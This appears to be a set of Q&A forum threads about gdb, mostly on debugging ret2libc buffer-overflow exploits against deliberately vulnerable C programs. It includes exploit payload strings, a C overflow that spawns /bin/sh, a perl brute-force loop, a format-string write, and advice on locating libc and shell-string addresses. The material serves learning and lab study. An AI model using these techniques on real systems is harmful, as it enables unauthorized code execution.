I am learning assembly language.
I am using gdb to learn about how to get information from the C code that is written.
I am trying to see the rip register at the beginning of each line and see how
many bytes of machine code are in each of the C statements in this program?
Can anyone show me the commands in gdb to find these?
#include <stdio.h>
int main(void) {
register int wye;
int *ptr;
int ex;
ptr = &ex;
ex = 305441741;
wye = -1;
printf("Enter an integer: ");
scanf("%i", ptr);
wye += *ptr;
printf("The result is %i\n", wye);
return 0;
}
Short example of stuff you can do to see some things about your program. $ is the shell prompt and gdb> is the gdb prompt, so don't type those:
$ gdb myprogram
... info about gdb and myprogram
gdb> disas main
... disassembly of the main function
gdb> break main
... sets a breakpoint in main; you see a message about this probably calling it breakpoint 1
gdb> run
... program starts and stops immediately at the start of main
gdb> i r
... lots of info about register contents
gdb> p $rip
... current instruction pointer (assuming x86_64)
gdb> s
... program runs for one source line.
gdb> p $rip
... ip has advanced a bit.
Related
I am trying to exploit below code using Chained ret2libc attack. I am trying to execute execl('/bin/zsh','/bin/zsh',NULL) function.
To write NULL at the 3rd argument of execl, I have used printf(%5$n).
Code:
int main(int argc, char *argv[]){
char buf[256];
printf("%p",buf);
strcpy(buf, argv[1]);
}
To do this, I have exported 2 ENV variables such as:
user$ export SHELL='/bin/zsh'
user$ export test1='%5$n'
Then I compiled the program as below:
user$ gcc -ggdb -mpreferred-stack-boundry=2 -fno-stack-protector -fomit-frame-pointer -o vuln program.c
After that I opened this executable with gdb:
user$ gdb -q vuln
gdb> break main
gdb> run test
gdb> STOPPED AT BREAKPOINT
gdb> print PRINTF --> got the address of this function
gdb> print EXECL --> got this address
gdb> print EXIT --> got this address too
To get the address of ENV variables, i ran
gdb> x/500s $esp --> kept pressing ENTER and got the address. I also got the exact address of String '/bin/zsh' instead of address of 'SHELL=/bin/zsh' by adding 6. Similarly got the addres of '%5$n'.
To get the address of POP - RET inst, ran objdump -D vuln | grep -A20 pop --> got the address of one pop-ret instruction.
So input to the program looks like:
"A"*256+ printf_address + pop-ret address + '%5$n' address +execl address+ exit address+ '/bin/zsh' address + '/bin/zsh' address+ 3rd argument address.
I calculated 3rd argument address as base_address_of_buffer(printed by program)+256+28 (7 additional 4 bytes blocks)
But after running this program, it goes to execl and gives an error as below
Below is the input and output I am getting:
(gdb) run $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/himmat/Desktop/vuln $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
Breakpoint 1, main (argc=2, argv=0xbffff284) at chained_ret2libc.c:14
14 {
(gdb) cont
Continuing.
process 3720 is executing new program: /bin/zsh4
Breakpoint 1, 0x08053443 in main ()
(gdb) cont
Continuing.
/bin/zsh: can't open input file:
[Inferior 1 (process 3720) exited with code 0177]
(gdb)
Error I am getting
To verify that all functions are being executed and 3rd argument is filled with NULL, refer below image.
Execution of program
I am trying to implement a buffer overflow attack and I need to know the address of my buffer that I am trying to overflow.
The address that is displayed using GDB is different than if I just did this in the code:
Exact code:
#include<stdio.h>
int main() {
char buffer[20];
printf("%p\n", buffer); // 0xbffff320
return 0;
}
However, in gdb if I do:
p &buffer
I get: 0xbffff330
Why is there a difference and will it mess up my buffer overflow attack?
I have ALSR and stack guard disabled.
Thanks.
EDIT 1: Even when I step through gdb and it encounters the print line, I get 0xbffff320 as the address
EDIT 2:
Environment: Ubuntu Linux 9 image running in virtual box on windows 7.
The gdb version: 6.8-debian
Compiled using GCC such as: gcc -g -fno-stack-protector filename.c
execute immediately: ./a.out
address printed: 0xbffff320
Then open in debugger like this: gdb ./a.out
then enter b main
then run
then p &buffer
Then address is 0xbffff330
Edit 3:
This is the gdb log to reproduce behavior:
$ gdb ./a.out
b main
run
p &buffer /* address here is different than what is shown if I run executable */
step through program to printf statement /* address here is same as p &buffer but different than what is printed when program is ran */
The question, as I understand it, is why the address of a local variable in main is different when the program is started from the shell versus when it is started from gdb.
Here's a sample program to show the difference:
mp#ubuntu:~$ cat s.c
#include<stdio.h>
int main(int argc, char **argv) {
char buffer[20];
system("env");
printf("%s %p\n", argv[0], buffer);
return 0;
}
We'll run it in a clean environment. (I also disabled ASLR).
mp#ubuntu:~$ env -i sh
$ ./s
PWD=/home/mp
./s 0xbffffe48
$ gdb ./s
(gdb) run
Starting program: /home/mp/s
COLUMNS=80
PWD=/home/mp
LINES=42
/home/mp/s 0xbffffe08
The output from gdb's print &buffer command is the same as the program's idea of the address, but they're both different from when the program was run in the shell.
(gdb) b 6
Breakpoint 1 at 0x804849c: file s.c, line 6.
(gdb) run
Starting program: /home/mp/s
COLUMNS=80
PWD=/home/mp
LINES=42
Breakpoint 1, main (argc=1, argv=0xbffffed4) at s.c:6
6 printf("%s %p\n", argv[0], buffer);
(gdb) p &buffer
$1 = (char (*)[20]) 0xbffffe08
(gdb) n
/home/mp/s 0xbffffe08
8 return 0;
There are a couple of things contributing to the difference:
gdb is invoking the program with an absolute pathname, so the argv array is bigger.
gdb sets (or in this case, adds) two environment variables. This is done in readline/shell.c:sh_set_lines_and_columns(). So the environ array is bigger.
To remove those two variables from the environment, you can use unset environment, or set exec-wrapper to run env -u .... That way, the program's addresses under gdb are the same as when it's run in the shell (if we use an absolute pathname).
$ `pwd`/s
PWD=/home/mp
/home/mp/s 0xbffffe28
$ gdb `pwd`/s
(gdb) set exec-wrapper env -u LINES -u COLUMNS
(gdb) run
Starting program: /home/mp/s
PWD=/home/mp
/home/mp/s 0xbffffe28
Your array object in your system is stored in the stack. At the top of your stack there is, among other, the environment. When you run your program with gdb, gdb will provide a different environment (the env var and their value) which explains the addresses difference.
You can check the difference by running show environment in gdb and by comparing the output with set command in your shell.
Found out that this is expected behavior in old versions of GDB (mine is 6.8-debian), and if you construct your buffer overflow attack properly you can work around this behavior and it won't be a problem.
For the moment, the only reasons I can imagine are :
you tried to print &buffer after your program terminated. Solution: try setting a breakpoint on main, run, next to execute printf, and print &buffer.
you first ran your program outside gdb, then ran it inside gdb but forgot to execute the printf line with next.
a bug in your version of gdb
a bug in your version of gcc (gcc might produce incorrect debug info: see 1 and 2)
I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
Using gdb, I've been able to determine the following:
Address for "system": 0x4c4ab0
Address for "exit": 0x4ba520
The string "/bin/sh" resides in memory at: 0xbfffff13
I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.
When I run the program, however, I get the following:
sh: B���: command not found
Segmentation fault (core dumped)
I'm really not sure what I'm doing wrong...
[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:
export MYSHELL="/bin/sh"
You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:
> (gdb) break main
>
> (gdb) run
>
> (gdb) print &system
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
>
> (gdb) find &system,+9999999,"/bin/sh"
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search.
> 1 pattern found.
Good luck.
The problem in your program is the pointer you suppose to point to the /bin/sh string is actually not pointing to /bin/sh.
You get this address using gdb. But even without stack randomization, the stack address of your shell variable is different when the program is run under gdb than without gdb. gdb is putting some debug information into the stack and this will shift your shell variables.
To convince yourself here is a quick and dirty program to find a /bin/sh string in the stack:
#include <stdio.h>
#include <string.h>
int main(void)
{
char s[] = "/bin/sh";
char *p = (char *) 0xbffff000;
while (memcmp(++p, s, sizeof s));
printf("%s\n", p);
printf("%p\n", p);
}
First double check that stack randomization is disabled:
ouah#maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah#maou:~$
Ok, no stack randomization.
Let's compile the program and run it outside gdb:
ouah#maou:~$ gcc -std=c99 tst.c
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$
Now let's run it under gdb:
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4
Program exited normally.
(gdb) quit
ouah#maou:~$
As you can see the address of the /bin/sh string is different when the program is run inside or outside gdb.
Now what you can do is to use a variant of this program to find the true address of your string or a more elegant approach, get the address of a /bin/sh string directly from the libc (as you can guess there are a few occurrences).
I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.
I am trying to add a breakpoint in my program using
b {line number}
but I am always getting an error that says:
No symbol table is loaded. Use the "file" command.
What should I do?
Here is a quick start tutorial for gdb:
/* test.c */
/* Sample program to debug. */
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char **argv)
{
if (argc != 3)
return 1;
int a = atoi (argv[1]);
int b = atoi (argv[2]);
int c = a + b;
printf ("%d\n", c);
return 0;
}
Compile with the -g3 option. g3 includes extra information, such as all the macro definitions present in the program.
gcc -g3 -o test test.c
Load the executable, which now contain the debugging symbols, into gdb:
gdb --annotate=3 test.exe
Now you should find yourself at the gdb prompt. There you can issue commands to gdb.
Say you like to place a breakpoint at line 11 and step through the execution, printing the values of the local variables - the following commands sequences will help you do this:
(gdb) break test.c:11
Breakpoint 1 at 0x401329: file test.c, line 11.
(gdb) set args 10 20
(gdb) run
Starting program: c:\Documents and Settings\VMathew\Desktop/test.exe 10 20
[New thread 3824.0x8e8]
Breakpoint 1, main (argc=3, argv=0x3d5a90) at test.c:11
(gdb) n
(gdb) print a
$1 = 10
(gdb) n
(gdb) print b
$2 = 20
(gdb) n
(gdb) print c
$3 = 30
(gdb) c
Continuing.
30
Program exited normally.
(gdb)
In short, the following commands are all you need to get started using gdb:
break file:lineno - sets a breakpoint in the file at lineno.
set args - sets the command line arguments.
run - executes the debugged program with the given command line arguments.
next (n) and step (s) - step program and step program until it
reaches a different source line, respectively.
print - prints a local variable
bt - print backtrace of all stack frames
c - continue execution.
Type help at the (gdb) prompt to get a list and description of all valid commands.
Start gdb with the executable as a parameter, so that it knows which program you want to debug:
gdb ./myprogram
Then you should be able to set breakpoints. For example:
b myfile.cpp:25
b some_function
Make sure you used the -g option when compiling.
You need to tell gdb the name of your executable file, either when you run gdb or using the file command:
$ gdb a.out
or
(gdb) file a.out
You need to use -g or -ggdb option at compile time of your program.
E.g., gcc -ggdb file_name.c ; gdb ./a.out